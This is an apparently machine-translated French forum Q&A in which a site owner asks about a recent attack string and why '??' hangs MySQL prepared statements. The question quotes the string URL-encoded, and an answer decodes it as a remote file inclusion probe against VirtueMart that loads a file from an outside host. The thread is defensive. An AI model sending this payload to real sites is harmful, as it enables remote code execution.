2009-08-11 8 views
1

J'ai eu récemment une attaque sur mon site et l'attaquant essayé de modifier un de mes instructions SQL, en ajoutant la chaîne suivanteAttaque web récente et utilisation de ?? dans MySQL préparé déclaration

%2f%2fcomponents%2fcom%5fvirtuemart%2fshow%5fimage%5fin%5fimgtag%2ephp%3fmosConfig%5fabsolute%5fpath%3dhttp%3a%2f%2fwww%2ekwangsung%2ees%2ekr%2f%2fUserFiles%2fshirohige%2fzfxid%2etxt 

à une valeur.

De toute façon, je n'utilise pas PHP ou quoi que ce soit, mais le% 3f% 3f a causé un problème: dans l'appel à la commande de préparation de MySQL, le double est bloqué.

Quelqu'un d'autre a rencontré ce problème avec double? J'ai vérifié le site MySQL et n'ai rien trouvé.

+0

Votre exemple montre un seul 'U' codé en URI caractère, pas deux.Montrez-nous où et comment le blocage s'est réellement produit, s'il vous plaît: quelles langues bindings à MySQL? Quelle chaîne contenait (ou interpolé) les doubles points d'interrogation? – pilcrow

Répondre

1

Ce n'est pas une attaque par injection SQL, il semble être une enquête pour voir si vous étiez vulnérable à une sorte de vulnérabilité "virtuemart". Quelle que soit la langue que vous utilisez, vous ne devez pas passer de données GET arbitraires à vos requêtes SQL.

//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kwangsung.es.kr//UserFiles/shirohige/zfxid.txt 
Vous devez implémenter un certain type de validation côté serveur, ainsi que vous assurer que vos requêtes échappent correctement à toutes les entrées définies par l'utilisateur.

0

Désolé, j'ai posté cette question sur un autre navigateur à l'aide d'un compte non enregistré.

J'ai oublié un% 3f% 3f à la fin de la chaîne que j'ai incluse. Non ce n'est pas une attaque par injection, c'est une attaque sur un programme PHP que je n'utilise pas, mais l'attaquant essaie quand même. J'utilise des liaisons C++ vers MySQL, très bas dans la pile. La déclaration de préparation s'accompagne de "??" Je peux vérifier cela avec d'autres requêtes, pas seulement celles que j'ai obtenues via l'attaque.

Je saisis les entrées et les place dans la requête, mais ma plateforme échappe automatiquement <> & "" caractères pour toutes les entrées CGI, et je fais d'autres vérifications ailleurs pour l'injection. de la plate-forme permet seulement SQLs paramétrés, et seulement via un RPC à la base de données de sorte que vous ne pouvez accéder qu'à certaines tables et lignes exposées par le RPC.Techniquement, je n'aurai plus ce problème, mais je suis toujours curieux de savoir pourquoi? ? "semble se bloquer

Merci

Questions connexes